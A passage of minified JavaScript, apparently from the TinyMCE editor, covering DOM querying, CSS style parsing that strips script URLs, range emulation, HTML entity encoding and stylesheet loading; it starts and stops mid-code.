r&&f(o).is(r))break}1===o.nodeType&&i.push(o),o=o[n]}return
i}function b(e,n,r,i){var o=[];for(i instanceof
f&&(i=i[0]);e;e=e[n])if(!r||e.nodeType===r){if(i!==t){if(e===i)break;if("string"==typeof
i&&f(e).is(i))break}o.push(e)}return o}function
C(e,t,n){for(e=e[t];e;e=e[t])if(e.nodeType==n)return e;return null}function
x(e,t,n){m(n,function(n,r){e[n]=e[n]||{},e[n][t]=r})}var
w=document,E=Array.prototype.push,N=Array.prototype.slice,_=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,S=e.Event,k,T=r.makeMap("children,contents,next,prev"),R=r.makeMap("fillOpacity
fontWeight lineHeight opacity orphans widows zIndex zoom","
"),A=r.makeMap("checked compact declare defer disabled ismap
multiple nohref noshade nowrap readonly selected","
"),B={"for":"htmlFor","class":"className",readonly:"readOnly"},D={"float":"cssFloat"},L={},M={},P=/^\s*|\s*$/g;return
f.fn=f.prototype={constructor:f,selector:"",context:null,length:0,init:function(e,t){var
n=this,r,i;if(!e)return n;if(e.nodeType)return
n.context=n[0]=e,n.length=1,n;if(t&&t.nodeType)n.context=t;else{if(t)return
f(e).attr(t);n.context=t=document}if(a(e)){if(n.selector=e,r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:_.exec(e),!r)return
f(t).find(e);if(r[1])for(i=l(e,v(t)).firstChild;i;)E.call(n,i),i=i.nextSibling;else{if(i=v(t).getElementById(r[2]),!i)return
n;if(i.id!==r[2])return n.find(e);n.length=1,n[0]=i}}else
this.add(e,!1);return n},toArray:function(){return
r.toArray(this)},add:function(e,t){var n=this,r,i;if(a(e))return
n.add(f(e));if(t!==!1)for(r=f.unique(n.toArray().concat(f.makeArray(e))),n.length=r.length,i=0;i<r.length;i++)n[i]=r[i];else
E.apply(n,f.makeArray(e));return n},attr:function(e,t){var
n=this,r;if("object"==typeof
e)m(e,function(e,t){n.attr(e,t)});else{if(!o(t)){if(n[0]&&1===n[0].nodeType){if(r=L[e],r&&r.get)return
r.get(n[0],e);if(A[e])return
n.prop(e)?e:k;t=n[0].getAttribute(e,2),null===t&&(t=k)}return
t}this.each(function(){var
n;if(1===this.nodeType){if(n=L[e],n&&n.set)return void
n.set(this,t);null===t?this.removeAttribute(e,2):this.setAttribute(e,t,2)}})}return
n},removeAttr:function(e){return this.attr(e,null)},prop:function(e,t){var
n=this;if(e=B[e]||e,"object"==typeof
e)m(e,function(e,t){n.prop(e,t)});else{if(!o(t))return
n[0]&&n[0].nodeType&&e in
n[0]?n[0][e]:t;this.each(function(){1==this.nodeType&&(this[e]=t)})}return
n},css:function(e,t){function n(e){return
e.replace(/-(\D)/g,function(e,t){return t.toUpperCase()})}function
r(e){return e.replace(/[A-Z]/g,function(e){return"-"+e})}var
i=this,a,s;if("object"==typeof
e)m(e,function(e,t){i.css(e,t)});else
if(o(t))e=n(e),"number"!=typeof
t||R[e]||(t+="px"),i.each(function(){var
n=this.style;if(s=M[e],s&&s.set)return void
s.set(this,t);try{this.style[D[e]||e]=t}catch(i){}null!==t&&""!==t||(n.removeProperty?n.removeProperty(r(e)):n.removeAttribute(e))});else{if(a=i[0],s=M[e],s&&s.get)return
s.get(a);if(a.ownerDocument.defaultView)try{return
a.ownerDocument.defaultView.getComputedStyle(a,null).getPropertyValue(r(e))}catch(l){return
k}else if(a.currentStyle)return a.currentStyle[n(e)]}return
i},remove:function(){for(var
e=this,t,n=this.length;n--;)t=e[n],S.clean(t),t.parentNode&&t.parentNode.removeChild(t);return
this},empty:function(){for(var
e=this,t,n=this.length;n--;)for(t=e[n];t.firstChild;)t.removeChild(t.firstChild);return
this},html:function(e){var
t=this,n;if(o(e)){n=t.length;try{for(;n--;)t[n].innerHTML=e}catch(r){f(t[n]).empty().append(e)}return
t}return t[0]?t[0].innerHTML:""},text:function(e){var
t=this,n;if(o(e)){for(n=t.length;n--;)"innerText"in
t[n]?t[n].innerText=e:t[0].textContent=e;return t}return
t[0]?t[0].innerText||t[0].textContent:""},append:function(){return
u(this,arguments,function(e){(1===this.nodeType||this.host&&1===this.host.nodeType)&&this.appendChild(e)})},prepend:function(){return
u(this,arguments,function(e){(1===this.nodeType||this.host&&1===this.host.nodeType)&&this.insertBefore(e,this.firstChild)},!0)},before:function(){var
e=this;return
e[0]&&e[0].parentNode?u(e,arguments,function(e){this.parentNode.insertBefore(e,this)}):e},after:function(){var
e=this;return
e[0]&&e[0].parentNode?u(e,arguments,function(e){this.parentNode.insertBefore(e,this.nextSibling)},!0):e},appendTo:function(e){return
f(e).append(this),this},prependTo:function(e){return
f(e).prepend(this),this},replaceWith:function(e){return
this.before(e).remove()},wrap:function(e){return
d(this,e)},wrapAll:function(e){return
d(this,e,!0)},wrapInner:function(e){return
this.each(function(){f(this).contents().wrapAll(e)}),this},unwrap:function(){return
this.parent().each(function(){f(this).replaceWith(this.childNodes)})},clone:function(){var
e=[];return
this.each(function(){e.push(this.cloneNode(!0))}),f(e)},addClass:function(e){return
this.toggleClass(e,!0)},removeClass:function(e){return
this.toggleClass(e,!1)},toggleClass:function(e,t){var
n=this;return"string"!=typeof e?n:(e.indexOf("
")!==-1?m(e.split("
"),function(){n.toggleClass(this,t)}):n.each(function(n,r){var
i,o;o=c(r,e),o!==t&&(i=r.className,o?r.className=h(("
"+i+" ").replace(" "+e+" ","
")):r.className+=i?"
"+e:e)}),n)},hasClass:function(e){return
c(this[0],e)},each:function(e){return m(this,e)},on:function(e,t){return
this.each(function(){S.bind(this,e,t)})},off:function(e,t){return
this.each(function(){S.unbind(this,e,t)})},trigger:function(e){return
this.each(function(){"object"==typeof
e?S.fire(this,e.type,e):S.fire(this,e)})},show:function(){return
this.css("display","")},hide:function(){return
this.css("display","none")},slice:function(){return new
f(N.apply(this,arguments))},eq:function(e){return
e===-1?this.slice(e):this.slice(e,+e+1)},first:function(){return
this.eq(0)},last:function(){return this.eq(-1)},find:function(e){var
t,n,r=[];for(t=0,n=this.length;t<n;t++)f.find(e,this[t],r);return
f(r)},filter:function(e){return f("function"==typeof
e?g(this.toArray(),function(t,n){return
e(n,t)}):f.filter(e,this.toArray()))},closest:function(e){var t=[];return e
instanceof
f&&(e=e[0]),this.each(function(n,r){for(;r;){if("string"==typeof
e&&f(r).is(e)){t.push(r);break}if(r==e){t.push(r);break}r=r.parentNode}}),f(t)},offset:function(e){var
t,n,r,i=0,o=0,a;return
e?this.css(e):(t=this[0],t&&(n=t.ownerDocument,r=n.documentElement,t.getBoundingClientRect&&(a=t.getBoundingClientRect(),i=a.left+(r.scrollLeft||n.body.scrollLeft)-r.clientLeft,o=a.top+(r.scrollTop||n.body.scrollTop)-r.clientTop)),{left:i,top:o})},push:E,sort:[].sort,splice:[].splice},r.extend(f,{extend:r.extend,makeArray:function(e){return
s(e)||e.nodeType?[e]:r.toArray(e)},inArray:p,isArray:r.isArray,each:m,trim:h,grep:g,find:n,expr:n.selectors,unique:n.uniqueSort,text:n.getText,contains:n.contains,filter:function(e,t,n){var
r=t.length;for(n&&(e=":not("+e+")");r--;)1!=t[r].nodeType&&t.splice(r,1);return
t=1===t.length?f.find.matchesSelector(t[0],e)?[t[0]]:[]:f.find.matches(e,t)}}),m({parent:function(e){var
t=e.parentNode;return
t&&11!==t.nodeType?t:null},parents:function(e){return
y(e,"parentNode")},next:function(e){return
C(e,"nextSibling",1)},prev:function(e){return
C(e,"previousSibling",1)},children:function(e){return
b(e.firstChild,"nextSibling",1)},contents:function(e){return
r.toArray(("iframe"===e.nodeName?e.contentDocument||e.contentWindow.document:e).childNodes)}},function(e,t){f.fn[e]=function(n){var
r=this,i=[];return r.each(function(){var
e=t.call(i,this,n,i);e&&(f.isArray(e)?i.push.apply(i,e):i.push(e))}),this.length>1&&(T[e]||(i=f.unique(i)),0===e.indexOf("parents")&&(i=i.reverse())),i=f(i),n?i.filter(n):i}}),m({parentsUntil:function(e,t){return
y(e,"parentNode",t)},nextUntil:function(e,t){return
b(e,"nextSibling",1,t).slice(1)},prevUntil:function(e,t){return
b(e,"previousSibling",1,t).slice(1)}},function(e,t){f.fn[e]=function(n,r){var
i=this,o=[];return i.each(function(){var
e=t.call(o,this,n,o);e&&(f.isArray(e)?o.push.apply(o,e):o.push(e))}),this.length>1&&(o=f.unique(o),0!==e.indexOf("parents")&&"prevUntil"!==e||(o=o.reverse())),o=f(o),r?o.filter(r):o}}),f.fn.is=function(e){return!!e&&this.filter(e).length>0},f.fn.init.prototype=f.fn,f.overrideDefaults=function(e){function
t(r,i){return
n=n||e(),0===arguments.length&&(r=n.element),i||(i=n.context),new
t.fn.init(r,i)}var n;return
f.extend(t,this),t},i.ie&&i.ie<8&&(x(L,"get",{maxlength:function(e){var
t=e.maxLength;return 2147483647===t?k:t},size:function(e){var
t=e.size;return 20===t?k:t},"class":function(e){return
e.className},style:function(e){var t=e.style.cssText;return
0===t.length?k:t}}),x(L,"set",{"class":function(e,t){e.className=t},style:function(e,t){e.style.cssText=t}})),i.ie&&i.ie<9&&(D["float"]="styleFloat",x(M,"set",{opacity:function(e,t){var
n=e.style;null===t||""===t?n.removeAttribute("filter"):(n.zoom=1,n.filter="alpha(opacity="+100*t+")")}})),f.attrHooks=L,f.cssHooks=M,f}),r(v,[],function(){return
function(e,t){function n(e,t,n,r){function i(e){return
e=parseInt(e,10).toString(16),e.length>1?e:"0"+e}return"#"+i(t)+i(n)+i(r)}var
r=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,i=/(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,o=/\s*([^:]+):\s*([^;]+);?/g,a=/\s+$/,s,l={},u,c,d,f="\ufeff";for(e=e||{},t&&(c=t.getValidStyles(),d=t.getInvalidStyles()),u=("\\\"
\\' \\; \\: ; : "+f).split("
"),s=0;s<u.length;s++)l[u[s]]=f+s,l[f+s]=u[s];return{toHex:function(e){return
e.replace(r,n)},parse:function(t){function u(e,t,n){var
r,i,o,a;if(r=y[e+"-top"+t],r&&(i=y[e+"-right"+t],i&&(o=y[e+"-bottom"+t],o&&(a=y[e+"-left"+t])))){var
l=[r,i,o,a];for(s=l.length-1;s--&&l[s]===l[s+1];);s>-1&&n||(y[e+t]=s==-1?l[0]:l.join("
"),delete y[e+"-top"+t],delete
y[e+"-right"+t],delete y[e+"-bottom"+t],delete
y[e+"-left"+t])}}function c(e){var
t=y[e],n;if(t){for(t=t.split("
"),n=t.length;n--;)if(t[n]!==t[0])return!1;return
y[e]=t[0],!0}}function
d(e,t,n,r){c(t)&&c(n)&&c(r)&&(y[e]=y[t]+"
"+y[n]+" "+y[r],delete y[t],delete y[n],delete
y[r])}function p(e){return w=!0,l[e]}function h(e,t){return
w&&(e=e.replace(/\uFEFF[0-9]/g,function(e){return
l[e]})),t||(e=e.replace(/\\([\'\";:])/g,"$1")),e}function
m(e){return String.fromCharCode(parseInt(e.slice(1),16))}function
g(e){return e.replace(/\\[0-9a-f]+/gi,m)}function
v(t,n,r,i,o,a){if(o=o||a)return
o=h(o),"'"+o.replace(/\'/g,"\\'")+"'";if(n=h(n||r||i),!e.allow_script_urls){var
s=n.replace(/[\s\r\n]+/g,"");if(/(java|vb)script:/i.test(s))return"";if(!e.allow_svg_data_urls&&/^data:image\/svg/i.test(s))return""}return
E&&(n=E.call(N,n,"style")),"url('"+n.replace(/\'/g,"\\'")+"')"}var
y={},b,C,x,w,E=e.url_converter,N=e.url_converter_scope||this;if(t){for(t=t.replace(/[\u0000-\u001F]/g,""),t=t.replace(/\\[\"\';:\uFEFF]/g,p).replace(/\"[^\"]+\"|\'[^\']+\'/g,function(e){return
e.replace(/[;:]/g,p)});b=o.exec(t);)if(o.lastIndex=b.index+b[0].length,C=b[1].replace(a,"").toLowerCase(),x=b[2].replace(a,""),C&&x){if(C=g(C),x=g(x),C.indexOf(f)!==-1||C.indexOf('"')!==-1)continue;if(!e.allow_script_urls&&("behavior"==C||/expression\s*\(|\/\*|\*\//.test(x)))continue;"font-weight"===C&&"700"===x?x="bold":"color"!==C&&"background-color"!==C||(x=x.toLowerCase()),x=x.replace(r,n),x=x.replace(i,v),y[C]=w?h(x,!0):x}u("border","",!0),u("border","-width"),u("border","-color"),u("border","-style"),u("padding",""),u("margin",""),d("border","border-width","border-style","border-color"),"medium
none"===y.border&&delete
y.border,"none"===y["border-image"]&&delete
y["border-image"]}return y},serialize:function(e,t){function
n(t){var
n,r,o,a;if(n=c[t])for(r=0,o=n.length;r<o;r++)t=n[r],a=e[t],a&&(i+=(i.length>0?"
":"")+t+": "+a+";")}function r(e,t){var
n;return n=d["*"],(!n||!n[e])&&(n=d[t],!n||!n[e])}var
i="",o,a;if(t&&c)n("*"),n(t);else for(o in
e)a=e[o],!a||d&&!r(o,t)||(i+=(i.length>0?"
":"")+o+": "+a+";");return
i}}}}),r(y,[],function(){return function(e,t){function n(e,n,r,i){var
o,a;if(e){if(!i&&e[n])return e[n];if(e!=t){if(o=e[r])return
o;for(a=e.parentNode;a&&a!=t;a=a.parentNode)if(o=a[r])return
o}}}function r(e,n,r,i){var
o,a,s;if(e){if(o=e[r],t&&o===t)return;if(o){if(!i)for(s=o[n];s;s=s[n])if(!s[n])return
s;return o}if(a=e.parentNode,a&&a!==t)return a}}var
i=e;this.current=function(){return i},this.next=function(e){return
i=n(i,"firstChild","nextSibling",e)},this.prev=function(e){return
i=n(i,"lastChild","previousSibling",e)},this.prev2=function(e){return
i=r(i,"lastChild","previousSibling",e)}}}),r(b,[m],function(e){function
t(n){function r(){return P.createDocumentFragment()}function
i(e,t){E(F,e,t)}function o(e,t){E(z,e,t)}function
a(e){i(e.parentNode,j(e))}function s(e){i(e.parentNode,j(e)+1)}function
l(e){o(e.parentNode,j(e))}function u(e){o(e.parentNode,j(e)+1)}function
c(e){e?(M[V]=M[W],M[$]=M[U]):(M[W]=M[V],M[U]=M[$]),M.collapsed=F}function
d(e){a(e),u(e)}function
f(e){i(e,0),o(e,1===e.nodeType?e.childNodes.length:e.nodeValue.length)}function
p(e,t){var
n=M[W],r=M[U],i=M[V],o=M[$],a=t.startContainer,s=t.startOffset,l=t.endContainer,u=t.endOffset;return
0===e?w(n,r,a,s):1===e?w(i,o,a,s):2===e?w(i,o,l,u):3===e?w(n,r,l,u):void
0}function h(){N(I)}function m(){return N(O)}function g(){return
N(H)}function v(e){var
t=this[W],r=this[U],i,o;3!==t.nodeType&&4!==t.nodeType||!t.nodeValue?(t.childNodes.length>0&&(o=t.childNodes[r]),o?t.insertBefore(e,o):3==t.nodeType?n.insertAfter(e,t):t.appendChild(e)):r?r>=t.nodeValue.length?n.insertAfter(e,t):(i=t.splitText(r),t.parentNode.insertBefore(e,i)):t.parentNode.insertBefore(e,t)}function
y(e){var
t=M.extractContents();M.insertNode(e),e.appendChild(t),M.selectNode(e)}function
b(){return q(new
t(n),{startContainer:M[W],startOffset:M[U],endContainer:M[V],endOffset:M[$],collapsed:M.collapsed,commonAncestorContainer:M.commonAncestorContainer})}function
C(e,t){var n;if(3==e.nodeType)return e;if(t<0)return
e;for(n=e.firstChild;n&&t>0;)--t,n=n.nextSibling;return
n?n:e}function x(){return M[W]==M[V]&&M[U]==M[$]}function
w(e,t,r,i){var o,a,s,l,u,c;if(e==r)return
t==i?0:t<i?-1:1;for(o=r;o&&o.parentNode!=e;)o=o.parentNode;if(o){for(a=0,s=e.firstChild;s!=o&&a<t;)a++,s=s.nextSibling;return
t<=a?-1:1}for(o=e;o&&o.parentNode!=r;)o=o.parentNode;if(o){for(a=0,s=r.firstChild;s!=o&&a<i;)a++,s=s.nextSibling;return
a<i?-1:1}for(l=n.findCommonAncestor(e,r),u=e;u&&u.parentNode!=l;)u=u.parentNode;for(u||(u=l),c=r;c&&c.parentNode!=l;)c=c.parentNode;if(c||(c=l),u==c)return
0;for(s=l.firstChild;s;){if(s==u)return-1;if(s==c)return
1;s=s.nextSibling}}function E(e,t,r){var
i,o;for(e?(M[W]=t,M[U]=r):(M[V]=t,M[$]=r),i=M[V];i.parentNode;)i=i.parentNode;for(o=M[W];o.parentNode;)o=o.parentNode;o==i?w(M[W],M[U],M[V],M[$])>0&&M.collapse(e):M.collapse(e),M.collapsed=x(),M.commonAncestorContainer=n.findCommonAncestor(M[W],M[V])}function
N(e){var t,n=0,r=0,i,o,a,s,l,u;if(M[W]==M[V])return
_(e);for(t=M[V],i=t.parentNode;i;t=i,i=i.parentNode){if(i==M[W])return
S(t,e);++n}for(t=M[W],i=t.parentNode;i;t=i,i=i.parentNode){if(i==M[V])return
k(t,e);++r}for(o=r-n,a=M[W];o>0;)a=a.parentNode,o--;for(s=M[V];o<0;)s=s.parentNode,o++;for(l=a.parentNode,u=s.parentNode;l!=u;l=l.parentNode,u=u.parentNode)a=l,s=u;return
T(a,s,e)}function _(e){var
t,n,i,o,a,s,l,u,c;if(e!=I&&(t=r()),M[U]==M[$])return
t;if(3==M[W].nodeType){if(n=M[W].nodeValue,i=n.substring(M[U],M[$]),e!=H&&(o=M[W],u=M[U],c=M[$]-M[U],0===u&&c>=o.nodeValue.length-1?o.parentNode.removeChild(o):o.deleteData(u,c),M.collapse(F)),e==I)return;return
i.length>0&&t.appendChild(P.createTextNode(i)),t}for(o=C(M[W],M[U]),a=M[$]-M[U];o&&a>0;)s=o.nextSibling,l=D(o,e),t&&t.appendChild(l),--a,o=s;return
e!=H&&M.collapse(F),t}function S(e,t){var
n,i,o,a,s,l;if(t!=I&&(n=r()),i=R(e,t),n&&n.appendChild(i),o=j(e),a=o-M[U],a<=0)return
t!=H&&(M.setEndBefore(e),M.collapse(z)),n;for(i=e.previousSibling;a>0;)s=i.previousSibling,l=D(i,t),n&&n.insertBefore(l,n.firstChild),--a,i=s;return
t!=H&&(M.setEndBefore(e),M.collapse(z)),n}function k(e,t){var
n,i,o,a,s,l;for(t!=I&&(n=r()),o=A(e,t),n&&n.appendChild(o),i=j(e),++i,a=M[$]-i,o=e.nextSibling;o&&a>0;)s=o.nextSibling,l=D(o,t),n&&n.appendChild(l),--a,o=s;return
t!=H&&(M.setStartAfter(e),M.collapse(F)),n}function T(e,t,n){var
i,o,a,s,l,u,c;for(n!=I&&(o=r()),i=A(e,n),o&&o.appendChild(i),a=j(e),s=j(t),++a,l=s-a,u=e.nextSibling;l>0;)c=u.nextSibling,i=D(u,n),o&&o.appendChild(i),u=c,--l;return
i=R(t,n),o&&o.appendChild(i),n!=H&&(M.setStartAfter(e),M.collapse(F)),o}function
R(e,t){var n=C(M[V],M[$]-1),r,i,o,a,s,l=n!=M[V];if(n==e)return
B(n,l,z,t);for(r=n.parentNode,i=B(r,z,z,t);r;){for(;n;)o=n.previousSibling,a=B(n,l,z,t),t!=I&&i.insertBefore(a,i.firstChild),l=F,n=o;if(r==e)return
i;n=r.previousSibling,r=r.parentNode,s=B(r,z,z,t),t!=I&&s.appendChild(i),i=s}}function
A(e,t){var n=C(M[W],M[U]),r=n!=M[W],i,o,a,s,l;if(n==e)return
B(n,r,F,t);for(i=n.parentNode,o=B(i,z,F,t);i;){for(;n;)a=n.nextSibling,s=B(n,r,F,t),t!=I&&o.appendChild(s),r=F,n=a;if(i==e)return
o;n=i.nextSibling,i=i.parentNode,l=B(i,z,F,t),t!=I&&l.appendChild(o),o=l}}function
B(e,t,r,i){var o,a,s,l,u;if(t)return
D(e,i);if(3==e.nodeType){if(o=e.nodeValue,r?(l=M[U],a=o.substring(l),s=o.substring(0,l)):(l=M[$],a=o.substring(0,l),s=o.substring(l)),i!=H&&(e.nodeValue=s),i==I)return;return
u=n.clone(e,z),u.nodeValue=a,u}if(i!=I)return n.clone(e,z)}function
D(e,t){return t!=I?t==H?n.clone(e,F):e:void
e.parentNode.removeChild(e)}function L(){return
n.create("body",null,g()).outerText}var
M=this,P=n.doc,O=0,H=1,I=2,F=!0,z=!1,U="startOffset",W="startContainer",V="endContainer",$="endOffset",q=e.extend,j=n.nodeIndex;return
q(M,{startContainer:P,startOffset:0,endContainer:P,endOffset:0,collapsed:F,commonAncestorContainer:P,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3,setStart:i,setEnd:o,setStartBefore:a,setStartAfter:s,setEndBefore:l,setEndAfter:u,collapse:c,selectNode:d,selectNodeContents:f,compareBoundaryPoints:p,deleteContents:h,extractContents:m,cloneContents:g,insertNode:v,surroundContents:y,cloneRange:b,toStringIE:L}),M}return
t.prototype.toString=function(){return
this.toStringIE()},t}),r(C,[m],function(e){function t(e){var t;return
t=document.createElement("div"),t.innerHTML=e,t.textContent||t.innerText||e}function
n(e,t){var
n,r,i,a={};if(e){for(e=e.split(","),t=t||10,n=0;n<e.length;n+=2)r=String.fromCharCode(parseInt(e[n],t)),o[r]||(i="&"+e[n+1]+";",a[r]=i,a[i]=r);return
a}}var
r=e.makeMap,i,o,a,s=/[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,l=/[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,u=/[<>&\"\']/g,c=/&#([a-z0-9]+);?|&([a-z0-9]+);/gi,d={128:"\u20ac",130:"\u201a",131:"\u0192",132:"\u201e",133:"\u2026",134:"\u2020",135:"\u2021",136:"\u02c6",137:"\u2030",138:"\u0160",139:"\u2039",140:"\u0152",142:"\u017d",145:"\u2018",146:"\u2019",147:"\u201c",148:"\u201d",149:"\u2022",150:"\u2013",151:"\u2014",152:"\u02dc",153:"\u2122",154:"\u0161",155:"\u203a",156:"\u0153",158:"\u017e",159:"\u0178"};o={'"':"&quot;","'":"&#39;","<":"&lt;",">":"&gt;","&":"&amp;","`":"&#96;"},a={"&lt;":"<","&gt;":">","&amp;":"&","&quot;":'"',"&apos;":"'"},i=n("50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro",32);var
f={encodeRaw:function(e,t){return e.replace(t?s:l,function(e){return
o[e]||e})},encodeAllRaw:function(e){return(""+e).replace(u,function(e){return
o[e]||e})},encodeNumeric:function(e,t){return
e.replace(t?s:l,function(e){return
e.length>1?"&#"+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+";":o[e]||"&#"+e.charCodeAt(0)+";"})},encodeNamed:function(e,t,n){return
n=n||i,e.replace(t?s:l,function(e){return
o[e]||n[e]||e})},getEncodeFunc:function(e,t){function a(e,n){return
e.replace(n?s:l,function(e){return
o[e]||t[e]||"&#"+e.charCodeAt(0)+";"||e})}function
u(e,n){return f.encodeNamed(e,n,t)}return
t=n(t)||i,e=r(e.replace(/\+/g,",")),e.named&&e.numeric?a:e.named?t?u:f.encodeNamed:e.numeric?f.encodeNumeric:f.encodeRaw},decode:function(e){return
e.replace(c,function(e,n){return
n?(n="x"===n.charAt(0).toLowerCase()?parseInt(n.substr(1),16):parseInt(n,10),n>65535?(n-=65536,String.fromCharCode(55296+(n>>10),56320+(1023&n))):d[n]||String.fromCharCode(n)):a[e]||i[e]||t(e)})}};return
f}),r(x,[m,c],function(e,t){return function(n,r){function
i(e){n.getElementsByTagName("head")[0].appendChild(e)}function
o(r,o,u){function c(){for(var
e=b.passed,t=e.length;t--;)e[t]();b.status=2,b.passed=[],b.failed=[]}function
d(){for(var
e=b.failed,t=e.length;t--;)e[t]();b.status=3,b.passed=[],b.failed=[]}function
f(){var
e=navigator.userAgent.match(/WebKit\/(\d*)/);return!!(e&&e[1]<536)}function
p(e,n){e()||((new Date).getTime()-y<l?t.setTimeout(n):d())}function
h(){p(function(){for(var
e=n.styleSheets,t,r=e.length,i;r--;)if(t=e[r],i=t.ownerNode?t.ownerNode:t.owningElement,i&&i.id===g.id)return
c(),!0},h)}function m(){p(function(){try{var e=v.sheet.cssRules;return
c(),!!e}catch(t){}},m)}var
g,v,y,b;if(r=e._addCacheSuffix(r),s[r]?b=s[r]:(b={passed:[],failed:[]},s[r]=b),o&&b.passed.push(o),u&&b.failed.push(u),1!=b.status){if(2==b.status)return
void c();if(3==b.status)return void
d();if(b.status=1,g=n.createElement("link"),g.rel="stylesheet",g.type="text/css",g.id="u"+a++,g.async=!1,g.defer=!1,y=(new
Date).getTime(),"onload"in
g&&!f())g.onload=h,g.onerror=d;else{if(navigator.userAgent.indexOf("Firefox")>0)return
v=n.createElement("style"),v.textContent='@import
"'+r+'"',m(),void i(v);h()}i(g),g.href=r}}var
a=0,s={},l;r=r||{},l=r.maxLoadTime||5e3,this.load=o}}),r(w,[p,g,v,f,y,b,C,d,m,x],function(e,n,r,i,o,a,s,l,u,c){function
d(e,t){var n={},r=t.keep_values,i;return
i={set:function(n,r,i){t.url_converter&&(r=t.url_converter.call(t.url_converter_scope||e,r,i,n[0])),n.attr("data-mce-"+i,r).attr(i,r)},get:function(e,t){return
e.attr("data-mce-"+t)||e.attr(t)}},n={style:{set:function(e,t){return
null!==t&&"object"==typeof t?void
e.css(t):(r&&e.attr("data-mce-style",t),void
e.attr("style",t))},get:function(t){var
n=t.attr("data-mce-style")||t.attr("style");return
n=e.serializeStyle(e.parseStyle(n),t[0].nodeName)}}},r&&(n.href=n.src=i),n}function
f(e,t){var
n=t.attr("style");n=e.serializeStyle(e.parseStyle(n),t[0].nodeName),n||(n=null),t.attr("data-mce-style",n)}function
p(e,t){var
n=0,r,i;if(e)for(r=e.nodeType,e=e.previousSibling;e;e=e.previousSibling)i=e.nodeType,(!t||3!=i||i!=r&&e.nodeValue.length)&&(n++,r=i);return
n}function h(e,t){var
o=this,a;o.doc=e,o.win=window,o.files={},o.counter=0,o.stdMode=!b||e.documentMode>=8,o.boxModel=!b||"CSS1Compat"==e.compatMode||o.stdMode,o.styleSheetLoader=new
c(e),o.boundEvents=[],o.settings=t=t||{},o.schema=t.schema,o.styles=new
r({url_converter:t.url_converter,url_converter_scope:t.url_converter_scope},t.schema),o.fixDoc(e),o.events=t.ownEvents?new
i(t.proxy):i.Event,o.attrHooks=d(o,t),a=t.schema?t.schema.getBlockElements():{},o.$=n.overrideDefaults(function(){return{context:e,element:o.getRoot()}}),o.isBlock=function(e){if(!e)return!1;var
t=e.nodeType;return t?!(1!==t||!a[e.nodeName]):!!a[e]}}var
